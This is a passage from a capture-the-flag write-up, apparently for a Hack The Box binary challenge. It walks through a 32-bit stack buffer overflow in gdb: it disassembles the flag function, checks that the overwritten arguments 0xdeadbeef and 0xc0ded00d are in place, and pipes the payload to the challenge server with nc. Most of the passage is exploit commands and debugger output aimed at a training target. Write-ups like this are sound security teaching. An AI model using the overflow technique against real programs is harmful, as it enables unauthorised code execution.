Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$

and set two breakpoints at the addresses where the parameters are compared.

...
0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
...
0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
...
# gdb command
gdb-peda$ b *0x08049246
gdb-peda$ b *0x0804924f
# terminal interaction
gdb-peda$ disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:	push   ebp
   0x080491e3 <+1>:	mov    ebp,esp
   0x080491e5 <+3>:	push   ebx
=> 0x080491e6 <+4>:	sub    esp,0x54
   0x080491e9 <+7>:	call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:	add    ebx,0x2e12
   0x080491f4 <+18>:	sub    esp,0x8
   0x080491f7 <+21>:	lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:	push   eax
   0x080491fe <+28>:	lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:	push   eax
   0x08049205 <+35>:	call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:	add    esp,0x10
   0x0804920d <+43>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:	jne    0x8049232 <flag+80>
   0x08049216 <+52>:	sub    esp,0xc
   0x08049219 <+55>:	lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:	push   eax
   0x08049220 <+62>:	call   0x8049070 <puts@plt>
   0x08049225 <+67>:	add    esp,0x10
   0x08049228 <+70>:	sub    esp,0xc
   0x0804922b <+73>:	push   0x0
   0x0804922d <+75>:	call   0x8049080 <exit@plt>
   0x08049232 <+80>:	sub    esp,0x4
   0x08049235 <+83>:	push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:	push   0x40
   0x0804923a <+88>:	lea    eax,[ebp-0x4c]
   0x0804923d <+91>:	push   eax
   0x0804923e <+92>:	call   0x8049050 <fgets@plt>
   0x08049243 <+97>:	add    esp,0x10
   0x08049246 <+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:	jne    0x8049269 <flag+135>
   0x0804924f <+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:	jne    0x804926c <flag+138>
   0x08049258 <+118>:	sub    esp,0xc
   0x0804925b <+121>:	lea    eax,[ebp-0x4c]
   0x0804925e <+124>:	push   eax
   0x0804925f <+125>:	call   0x8049030 <printf@plt>
   0x08049264 <+130>:	add    esp,0x10
   0x08049267 <+133>:	jmp    0x804926d <flag+139>
   0x08049269 <+135>:	nop
   0x0804926a <+136>:	jmp    0x804926d <flag+139>
   0x0804926c <+138>:	nop
   0x0804926d <+139>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:	leave  
   0x08049271 <+143>:	ret    
End of assembler dump.
gdb-peda$ b *0x08049246
Breakpoint 2 at 0x8049246
gdb-peda$ b *0x0804924f
Breakpoint 3 at 0x804924f
gdb-peda$

Then we continue with the execution.

# gdb command
c
# terminal interaction
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0x0 
EDX: 0xfbad2498 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x8049246 (<flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804923d <flag+91>:	push   eax
   0x804923e <flag+92>:	call   0x8049050 <fgets@plt>
   0x8049243 <flag+97>:	add    esp,0x10
=> 0x8049246 <flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x804924d <flag+107>:	jne    0x8049269 <flag+135>
   0x804924f <flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x8049256 <flag+116>:	jne    0x804926c <flag+138>
   0x8049258 <flag+118>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08049246 in flag ()
gdb-peda$

Let’s check the registers if they were correctly overwritten or not.

# gdb command
x/xw $ebp+0x8
x/xw $ebp+0xc
# terminal interaction
gdb-peda$ x/xw $ebp+0x8
0xffffd064:	0xdeadbeef
gdb-peda$ x/xw $ebp+0xc
0xffffd068:	0xc0ded00d
gdb-peda$

Great, they are filled exactly as how we wanted. Once we continue with the execution and over the two breakpoints we previously set, our flag’s value -SUCCESS- is displayed for us briefly, right before the program crashes.

# shell command
# terminal interaction
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd010 ("SUCCESS")
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0x0 
EDX: 0xfbad2498 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
EIP: 0x804924f (<flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049243 <flag+97>:	add    esp,0x10
   0x8049246 <flag+100>:	cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x804924d <flag+107>:	jne    0x8049269 <flag+135>
=> 0x804924f <flag+109>:	cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x8049256 <flag+116>:	jne    0x804926c <flag+138>
   0x8049258 <flag+118>:	sub    esp,0xc
   0x804925b <flag+121>:	lea    eax,[ebp-0x4c]
   0x804925e <flag+124>:	push   eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd004 ('A' <repeats 12 times>, "SUCCESS")
0004| 0xffffd008 ("AAAAAAAASUCCESS")
0008| 0xffffd00c ("AAAASUCCESS")
0012| 0xffffd010 ("SUCCESS")
0016| 0xffffd014 --> 0x535345 ('ESS')
0020| 0xffffd018 ('A' <repeats 56 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0024| 0xffffd01c ('A' <repeats 52 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
0028| 0xffffd020 ('A' <repeats 48 times>, "\260\341\004\b", 'A' <repeats 16 times>, "ᆳ\336\r\320\336\300")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x0804924f in flag ()
gdb-peda$ c
Continuing.
SUCCESS
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x7 
EBX: 0x41414141 ('AAAA')
ECX: 0x7 
EDX: 0xffffffff 
ESI: 0xf7faa000 --> 0x1e3d6c 
EDI: 0xf7faa000 --> 0x1e3d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd064 --> 0xdeadbeef 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd064 --> 0xdeadbeef 
0004| 0xffffd068 --> 0xc0ded00d 
0008| 0xffffd06c --> 0x300 
0012| 0xffffd070 --> 0xffffd090 --> 0x1 
0016| 0xffffd074 --> 0x0 
0020| 0xffffd078 --> 0x0 
0024| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>:	add    esp,0x10)
0028| 0xffffd080 --> 0xf7faa000 --> 0x1e3d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

VERIFYING-THE-RESULTS

Our payload appears to be working, so let’s try it directly on our executable.

# shell command
cat payload.txt | ./vuln
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ cat payload.txt | ./vuln 
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
SUCCESSSegmentation fault
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$

Great, it works. All that’s left for us now is to spawn the challenge machine and submit our payload to get the flag.

# shell command
cat payload.txt | nc <challenge-box-ip> <challenge-box-port>
# terminal interaction
┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ cat payload.txt | nc 178.62.78.169 30660
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
<flag>┌─[eu-dedivip-1][10.10.14.11][htb-bluewalle@htb-xyiqhjz8bb][~/you-know-0xdiablos]
└──╼ []$ 

Finally, we submit the flag and review the challenge before terminating the challenge box.